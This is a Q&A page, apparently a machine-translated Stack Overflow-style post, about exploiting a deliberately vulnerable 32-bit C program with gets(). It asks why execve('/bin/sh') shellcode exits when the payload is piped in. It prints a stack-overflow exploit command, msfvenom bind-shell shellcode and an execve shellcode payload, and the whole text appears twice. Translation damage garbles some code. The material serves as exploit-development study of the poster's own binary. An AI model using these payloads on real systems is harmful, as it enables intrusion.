漏洞利用开发 - GETS 和 Shellcode
Exploit Development - GETS and Shellcode
试图了解更多关于利用开发和构建 shell 代码的信息,但是 运行 遇到了一个问题,我不明白背后的原因。
为什么我无法 运行 一个 shell 代码,例如 execve("/bin/sh") 并生成一个我可以与之交互的 shell?
另一方面,我能够创建一个反向 / bind_tcp shell 并使用 netcat 连接到它。
示例程序:
// gcc vuln.c -o vuln -m32 -fno-stack-protector -z execstack
#include <stdio.h>
#include <string.h>
void test() {
char pass[50];
printf("Password: ");
gets(pass);
if (strcmp(pass, "epicpassw0rd") == 0) {
printf("Woho, you got it!\n");
}
}
int main() {
test();
__asm__("movl [=10=]xe4ffd4ff, %edx"); // jmp esp, call esp - POC
return(0);
}
漏洞利用示例:
python -c "print 'A'*62 + '\x35\x56\x55\x56' + 'PAYLOAD'" | ./vuln
示例有效负载(工作):
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 LHOST="0.0.0.0" -f python
\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
测试了多个不同的 execve("/bin/sh") 示例,并创建了我自己的示例,然后编译它们以验证它们在将其用作有效载荷之前是否有效。
当 shellcode execve(/bin/sh) 执行时,它没有连接标准输入(因为 GETS)并将终止。
解决方法是关闭stdin描述符,在执行/bin/sh之前重新打开/dev/tty。
#include <unistd.h>
#include <stdio.h>
#include <sys/fcntl.h>
int main(void) {
char buf[50];
gets(buf);
printf("Yo %s\n", buf);
close(0);
open("/dev/tty", O_RDWR | O_NOCTTY);
execve ("/bin/sh", NULL, NULL);
}
相关回答:execve("/bin/sh", 0, 0); in a pipe
也可以使用
执行payload
( python -c "print 'A'*62 + '\x35\x56\x55\x56' + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'"; cat ) | ./vuln
试图了解更多关于利用开发和构建 shell 代码的信息,但是 运行 遇到了一个问题,我不明白背后的原因。
为什么我无法 运行 一个 shell 代码,例如 execve("/bin/sh") 并生成一个我可以与之交互的 shell? 另一方面,我能够创建一个反向 / bind_tcp shell 并使用 netcat 连接到它。
示例程序:
// gcc vuln.c -o vuln -m32 -fno-stack-protector -z execstack
#include <stdio.h>
#include <string.h>
void test() {
char pass[50];
printf("Password: ");
gets(pass);
if (strcmp(pass, "epicpassw0rd") == 0) {
printf("Woho, you got it!\n");
}
}
int main() {
test();
__asm__("movl [=10=]xe4ffd4ff, %edx"); // jmp esp, call esp - POC
return(0);
}
漏洞利用示例:
python -c "print 'A'*62 + '\x35\x56\x55\x56' + 'PAYLOAD'" | ./vuln
示例有效负载(工作):
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 LHOST="0.0.0.0" -f python
\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
测试了多个不同的 execve("/bin/sh") 示例,并创建了我自己的示例,然后编译它们以验证它们在将其用作有效载荷之前是否有效。
当 shellcode execve(/bin/sh) 执行时,它没有连接标准输入(因为 GETS)并将终止。
解决方法是关闭stdin描述符,在执行/bin/sh之前重新打开/dev/tty。
#include <unistd.h>
#include <stdio.h>
#include <sys/fcntl.h>
int main(void) {
char buf[50];
gets(buf);
printf("Yo %s\n", buf);
close(0);
open("/dev/tty", O_RDWR | O_NOCTTY);
execve ("/bin/sh", NULL, NULL);
}
相关回答:execve("/bin/sh", 0, 0); in a pipe
也可以使用
执行payload( python -c "print 'A'*62 + '\x35\x56\x55\x56' + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'"; cat ) | ./vuln